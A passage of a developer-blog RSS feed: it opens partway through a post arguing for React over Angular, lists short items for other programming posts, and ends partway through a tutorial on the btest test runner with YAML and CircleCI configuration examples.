&lt;li&gt;&lt;a href="https://clojurescript.org/"&gt;ClojureScript&lt;/a&gt;: A functional language which compiles to JS. It leverages and improves upon React. Here's a &lt;a href="http://swannodette.github.io/2013/12/17/the-future-of-javascript-mvcs"&gt;great blog post&lt;/a&gt; described by one of React's maintainers as &amp;quot;&lt;em&gt;a turning point which got many people to take React seriously&lt;/em&gt;&amp;quot; (&lt;a href="https://medium.com/@dan_abramov/my-react-list-862227952a8c"&gt;Dan Abramov's My React List&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://reasonml.github.io/"&gt;ReasonML&lt;/a&gt;: A typed functional language which also leverages React naturally.&lt;/li&gt;
&lt;li&gt;ReduxJS leverages this to &lt;a href="https://redux.js.org/basics/usage-with-react"&gt;integrate with React&lt;/a&gt;. Idem for &lt;a href="https://github.com/mobxjs/mobx-react"&gt;MobX-react&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/acdlite/recompose"&gt;Recompose library&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="beyond-the-dom"&gt;Beyond the DOM&lt;/h3&gt;
&lt;p&gt;Most of React is independent of HTML and web browsers.&lt;/p&gt;
&lt;p&gt;The core of React's implementation works for other targets. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SVG&lt;/li&gt;
&lt;li&gt;React Native: iOS, Android, Windows apps&lt;/li&gt;
&lt;li&gt;Server-side (non-SPA) applications: &lt;a href="https://nextjs.org/"&gt;https://nextjs.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Static rendering: &lt;a href="https://www.gatsbyjs.org"&gt;Gatsbyjs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Email templates: &lt;a href="https://mjml.io"&gt;MJML&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Text-mode UIs: &lt;a href="https://github.com/Yomguithereal/react-blessed"&gt;React Blessed&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;React's architecture and concepts having been proven and applied successfully even outside of the JS world, like &lt;a href="https://componentkit.org/"&gt;ComponentKit for iOS&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="stability-and-dogfooding"&gt;Stability and Dogfooding&lt;/h3&gt;
&lt;p&gt;The React team has been very cautious about breaking compatibility. In those few cases they did, they did so incrementally, with warnings in the library and tools to automate migration.&lt;/p&gt;
&lt;p&gt;Did you know React 16 is a complete rewrite if its internals (codename: React Fiber) ? Fully backwards compatible.&lt;/p&gt;
&lt;p&gt;More stable means less risk. It's also more mature and has more years of refinement than Angular 2+.&lt;/p&gt;
&lt;p&gt;Also: React is being used for many different public-facing applications: Facebook and Instagram (where React originated), Twitter, Airbnb, Netflix, Dropbox, WhatsApp.&lt;/p&gt;
&lt;h3 id="developer-experience--debugging--optimized-for-tooling"&gt;Developer Experience / Debugging / Optimized for Tooling&lt;/h3&gt;
&lt;p&gt;Given its functional approach (that is, components being conceptually just functions of props and state), it's quite easy to debug components.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/facebook/react-devtools"&gt;React DevTools&lt;/a&gt; gives you an easy way to inspect the state of components in Chrome.&lt;/p&gt;
&lt;p&gt;When using good state-management in your application (like &lt;a href="https://redux.js.org/"&gt;Redux&lt;/a&gt;) you can achieve &amp;quot;live coding&amp;quot; which allows you to change the code of the app on the fly, while the app is running, without the need to reload the page. This is a big productivity boost.&lt;/p&gt;
&lt;p&gt;Live coding is probably better achieved with ClojureScript (see &lt;a href="https://github.com/bhauman/lein-figwheel"&gt;figwheel&lt;/a&gt;), since the language is better suited than JavaScript for functional programming.&lt;/p&gt;
&lt;h3 id="common-abstraction"&gt;Common Abstraction&lt;/h3&gt;
&lt;p&gt;React: &amp;quot;In general we resist adding features&amp;quot;. Angular, on the other hand, comes with a truckload of features which might not be the best fit for your solution.&lt;/p&gt;
&lt;h3 id="interoperability"&gt;Interoperability&lt;/h3&gt;
&lt;p&gt;Thanks to the other principles, it's easy to integrate React with non-react libs and components.&lt;/p&gt;
&lt;p&gt;For example, it's easy to include a React component within an Angular app. We might follow this approach at our current project.&lt;/p&gt;
&lt;p&gt;Also, it's simpler to have multiple React apps coexist. Example, using Redux: &lt;a href="https://redux.js.org/recipes/isolating-subapps"&gt;https://redux.js.org/recipes/isolating-subapps&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="escape-hatches"&gt;Escape Hatches&lt;/h3&gt;
&lt;p&gt;React is based on Functional principles and meant to build UIs in a declarative way.&lt;/p&gt;
&lt;p&gt;To be honest, tasks which are inherently about mutable state (like hanlding Forms, focus, or text selections) become harder under this approach.&lt;/p&gt;
&lt;p&gt;React gives you options (like refs) for these special cases and there are already elegant common patterns to deal with them.&lt;/p&gt;
&lt;h2 id="some-points-i-do-not-like-about-angular"&gt;Some points I do not like about Angular&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Angular Re-invents concepts and implements many things which already exist in JavaScript. More than half of the documentation and tutorials on Angular are dedicated to these re-invented wheels, which are &lt;strong&gt;not&lt;/strong&gt; needed when using React. Examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NG Modules and its Dependency Injection&lt;/li&gt;
&lt;li&gt;Custom Template language (vs. plain JavaScript)
&lt;ul&gt;
&lt;li&gt;Reinvents conditionals (IFs), Repeats (for), Switches, variable &amp;quot;scopes&amp;quot;, evaluation context.&lt;/li&gt;
&lt;li&gt;&amp;quot;Pipes&amp;quot;&lt;/li&gt;
&lt;li&gt;Custom &amp;quot;expression language&amp;quot;, with its own evaluation rules&lt;/li&gt;
&lt;li&gt;Additional non-HTML-compatible syntax&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&amp;quot;Transclusion&amp;quot;: a complex workaround to &amp;quot;pass&amp;quot; components as arguments to
other components. This is trivial and much more flexible in React: you
simply pass a function as parameter.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Non-functional, two-way binding approach&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;More familiar (easier), but results in more complexity&lt;/li&gt;
&lt;li&gt;Makes it harder to compose and reuse&lt;/li&gt;
&lt;li&gt;Harder to unit test&lt;/li&gt;
&lt;li&gt;... to debug&lt;/li&gt;
&lt;li&gt;... to achieve live coding. That is, changing the JS code live, without reloading the browser page&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bigger. More complex. More lock-in.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="what-about-webcomponents-doesnt-it-make-react-obsolete"&gt;What about WebComponents? Doesn't it make React obsolete?&lt;/h2&gt;
&lt;p&gt;Web Components is an interesting standard. I have no experience using it yet. However, it looks like it doesn't replace what React+Redux brings to the table: state management and keeping your DOM in sync with it.&lt;/p&gt;
&lt;p&gt;While you might want to use web components for some pieces of UI, you'd still need to glue them together and manage the state of the application. And if a web component is complex enough, you might want to use React to implement it.&lt;/p&gt;
&lt;p&gt;So, the way I see it, it makes a lot of sense to use React (or a similar library) both &amp;quot;around&amp;quot; web components, and inside of them.&lt;/p&gt;
&lt;h2 id="tldr-summary-for-busy-readers-summary"&gt;TL;DR summary for busy readers {#summary}&lt;/h2&gt;
&lt;p&gt;Pros of React:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grounded on solid principles&lt;/li&gt;
&lt;li&gt;Functional approach (vs two-way binding and shared state)&lt;/li&gt;
&lt;li&gt;Leverages JavaScript instead of poorly re-inventing the wheel
&lt;ul&gt;
&lt;li&gt;less concepts to learn&lt;/li&gt;
&lt;li&gt;less concepts to fight against, less constraints&lt;/li&gt;
&lt;li&gt;less specialized tooling required&lt;/li&gt;
&lt;li&gt;simpler to unit test&lt;/li&gt;
&lt;li&gt;plays better with other libs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Smaller. React's public API for users is roughly 10 functions&lt;/li&gt;
&lt;li&gt;More stable, longer-term compatibility, more mature, less risk&lt;/li&gt;
&lt;li&gt;Bigger ecosystem (not just due to &amp;quot;popularity&amp;quot;. I think it's also because its architecture allows for more leverage and composability)&lt;/li&gt;
&lt;li&gt;More innovation happening around it: functional, GraphQL, immutable collections, explicit state-management, &lt;a href="https://clojurescript.org/"&gt;ClojureScript&lt;/a&gt;, &lt;a href="https://reasonml.github.io/"&gt;ReasonML&lt;/a&gt;, hot reloading, react native, server-side rendering, static site generation&lt;/li&gt;
&lt;li&gt;Better development tools&lt;/li&gt;
&lt;li&gt;More &amp;quot;composable&amp;quot; components&lt;/li&gt;
&lt;li&gt;Developers can leverage React's knowledge for other rendering targets
&lt;ul&gt;
&lt;li&gt;React Native iOS, Android (React Native), Windows apps&lt;/li&gt;
&lt;li&gt;Static websites (ie: &lt;a href="https://www.gatsbyjs.org/"&gt;https://www.gatsbyjs.org/&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Server-side non-SPA rendering (nextjs)&lt;/li&gt;
&lt;li&gt;Email templates (see &lt;a href="https://mjml.io"&gt;https://mjml.io&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Natural hot code reloading (see &lt;a href="https://www.youtube.com/watch?v=xsSnOQynTHs"&gt;Dan Abramov's talk&lt;/a&gt; from 2015!)&lt;/li&gt;
&lt;li&gt;Simpler unit-testing&lt;/li&gt;
&lt;li&gt;More modular: pick your libs for each problem&lt;/li&gt;
&lt;li&gt;For me at least: it's easier to understand and predict what React does vs Angular. Less &amp;quot;WTF&amp;quot; moments&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pros of Angular:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is more familiar to most developers. React's functional and more &amp;quot;pure&amp;quot; approach (especially when using Redux) requires a different way of thinking&lt;/li&gt;
&lt;li&gt;Some things are easier to do in Angular (say, mutating any DOM element at any time). React requires more thinking for these kind of things, and sometimes more code&lt;/li&gt;
&lt;li&gt;In AngularJS, more decisions have been made for you&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I have no bias to pick one or the other. There's no hidden agenda. My only interest is on building better and more maintainable solutions.&lt;/p&gt;
&lt;p&gt;I think there are enough long-term advantages to pick React for our project. I also believe it benefits the team and our customer, giving developers experience with technologies we can leverage for other rendering targets.&lt;/p&gt;
&lt;p&gt;Sidenote: In my experience using React from ClojureScript (with &lt;a href="https://reagent-project.github.io/"&gt;reagent&lt;/a&gt; and &lt;a href="https://github.com/Day8/re-frame"&gt;re-frame&lt;/a&gt;), ClojureScript is a better fit for React than JavaScript. React's functional principles are more natural in ClojureScript, and Clojure's syntax makes it all simpler (no need for extensions like JSX). Actually, if you come from JavaScript ES5, the cognitive load of learning all of the new ES6 syntax is probably higher than learning ClojureScript!. That said, I understand that pushing for Clojure would be a hard sell... big companies want to &amp;quot;play it safe&amp;quot; and use the most popular languages, so we will surely stay in JS land.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;To stay on top of React news, I follow &lt;a href="https://twitter.com/dan_abramov"&gt;Dan Abramov&lt;/a&gt; and &lt;a href="https://twitter.com/acdlite"&gt;Andrew Clark&lt;/a&gt; on Twitter.&lt;/p&gt;</description><author>Neuroning</author><pubDate>Sun, 05 Aug 2018 21:45:47 GMT</pubDate><guid isPermaLink="true">/post/why-react/</guid></item><item><title>A Gentle Introduction to Lambda Calculus - Part 2: Execution</title><link>https://lucasfcosta.com/blog/An-Introduction-to-Lambda-Calculus-Part-2/</link><description>This is the second blog post in my series about Lambda Calculus. To make sure you'll have the necessary knowledge about Lambda Calculus' syntax you will probably want to read the first post in this s...</description><author>Lucas F. Costa - Blog</author><pubDate>Sun, 05 Aug 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/An-Introduction-to-Lambda-Calculus-Part-2/</guid></item><item><title>In Praise of Plain Text</title><link>https://lucasfcosta.com/blog/In-Praise-of-Plaintext/</link><description>I often joke that graphical interfaces are bloatware.

GUIs are, of course, very useful for a great variety of applications and plain-text is not always appropriate for every kind of information. How...</description><author>Lucas F. Costa - Blog</author><pubDate>Sun, 05 Aug 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/In-Praise-of-Plaintext/</guid></item><item><title>Leaky vs punch-through abstractions</title><link>https://blog.jonlu.ca/posts/leaky-abstractions</link><description/><author>JonLuca's Blog</author><pubDate>Sat, 04 Aug 2018 21:07:47 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/leaky-abstractions</guid></item><item><title>btest: a language agnostic test runner</title><link>http://notes.eatonphil.com/btest-a-language-agnostic-test-runner.html</link><description>&lt;p&gt;&lt;a href="https://github.com/briansteffens/btest"&gt;btest&lt;/a&gt; is a minimal,
language-agnostic test runner originally written for testing
compilers. Brian, an ex- co-worker from Linode, wrote the first
implementation in &lt;a href="https://crystal-lang.org/"&gt;Crystal&lt;/a&gt; (a compiled
language clone of Ruby) for testing
&lt;a href="https://github.com/briansteffens/bshift"&gt;bshift&lt;/a&gt;, a compiler
project. The tool accomplished exactly what I needed for my own
language project, &lt;a href="https://github.com/eatonphil/bsdscheme"&gt;BSDScheme&lt;/a&gt;,
and had very few dependencies. After some issues with Crystal support
in containerized CI environments, and despite some incredible
&lt;a href="https://github.com/briansteffens/btest/pull/5"&gt;assistance from&lt;/a&gt; &lt;a href="https://github.com/briansteffens/btest/pull/4"&gt;the
Crystal community&lt;/a&gt;, we
rewrote btest in D to simplify downstream use.&lt;/p&gt;
&lt;h3 id="how-it-works"&gt;How it works&lt;/h3&gt;&lt;p&gt;btest registers a command (or commands) to run and verifies the
command output and status for different inputs. btest iterates over
files in a directory to discover test groups and individual tests
within. It supports a limited template language for easily adjusting a
more-or-less similar set of tests. And it supports running test groups
and individual tests themselves in parallel. All of this is managed
via a simple YAML config.&lt;/p&gt;
&lt;h3 id="btest.yaml"&gt;btest.yaml&lt;/h3&gt;&lt;p&gt;btest requires a project-level configuration file to declare the test
directory, the command(s) to run per test, etc. Let's say we want to
run tests against a python program. We create
a &lt;code&gt;btest.yaml&lt;/code&gt; file with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;test_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;tests&lt;/span&gt;

&lt;span class="nt"&gt;runners&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Run tests with cpython&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;python test.py&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;test_path&lt;/code&gt; is the directory in which tests are located.
&lt;code&gt;runners&lt;/code&gt; is an array of commands to run per test. We
hard-code a file to run &lt;code&gt;test.py&lt;/code&gt; as a project-level
standard file that will get written to disk in an appropriate path for
each test-case.&lt;/p&gt;
&lt;h4 id="on-multiple-runners"&gt;On multiple runners&lt;/h4&gt;&lt;p&gt;Using multiple runners is helpful when we want to run all tests with
different test commands or test command settings. For instance, we
could run tests against cpython and pypy by adding another runner to
the runners section.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;test_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;tests&lt;/span&gt;

&lt;span class="nt"&gt;runners&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Run tests with cpython&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;python test.py&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Run tests with pypy&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;pypy test.py&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="an-example-test-config"&gt;An example test config&lt;/h3&gt;&lt;p&gt;Let's create a &lt;code&gt;divide-by-zero.yaml&lt;/code&gt; file in
the &lt;code&gt;tests&lt;/code&gt; directory and add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;cases&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Should exit on divide by zero&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="no"&gt;File &amp;quot;test.py&amp;quot;, line 1, in &amp;lt;module&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;4 / 0&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;ZeroDivisionError: division by zero&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;denominator&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;templates&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;test.py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;4 / {{ denominator }}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In this example, &lt;code&gt;name&lt;/code&gt; will be printed out when the test
is run. &lt;code&gt;status&lt;/code&gt; is the expected integer returned by
running the program. &lt;code&gt;stdout&lt;/code&gt; is the entire expected output
written by the program during execution. None of these three fields
are required. If &lt;code&gt;status&lt;/code&gt; or stdout are not
provided, btest will skip checking them.&lt;/p&gt;
&lt;p&gt;Any additional key-value pairs are treated as template variable values
and will be substituted if/where it is referenced in the templates
section when the case is run. &lt;code&gt;denominator&lt;/code&gt; is the only
such variable we use in this example. When this first (and only) case
is run, &lt;code&gt;test.py&lt;/code&gt; will be written to disk
containing &lt;code&gt;4 / 0&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id="templates-section"&gt;templates section&lt;/h4&gt;&lt;p&gt;The &lt;code&gt;templates&lt;/code&gt; section is a dictionary allowing us to
specify files to be created with variable substitution. All files are
created in the same directory per test case, so if we want to import
code we can do so with relative paths.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/eatonphil/bsdscheme/blob/master/tests/include.yaml"&gt;Here&lt;/a&gt;
is a simple example of a BSDScheme test that uses this feature.&lt;/p&gt;
&lt;h3 id="running-btest"&gt;Running btest&lt;/h3&gt;&lt;p&gt;Run btest from the root directory (the directory
above &lt;code&gt;tests&lt;/code&gt;) and we'll see all the grouped test cases
that btest registers and the result of each test:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;divide&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;by&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;yaml&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PASS&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Should&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;divide&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;

&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;passed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;runner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Run&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cpython&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="use-in-ci-environments"&gt;Use in CI environments&lt;/h3&gt;&lt;p&gt;In the future we may provide pre-built release binaries. But in the
meantime, the CI step involves downloading git and ldc and
building/installing btest before calling it.&lt;/p&gt;
&lt;h4 id="circle-ci"&gt;Circle CI&lt;/h4&gt;&lt;p&gt;This is the
&lt;a href="https://github.com/eatonphil/bsdscheme/blob/master/.circleci/config.yml"&gt;config&lt;/a&gt;
file I use for testing BSDScheme:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dlanguage&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ldc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;steps&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkout&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;debian&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packaged&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dependencies&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;apt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;apt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;essential&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;ln&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;$&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;which&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ldc2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/usr/local/bin/&lt;/span&gt;&lt;span class="n"&gt;ldc&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;btest&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
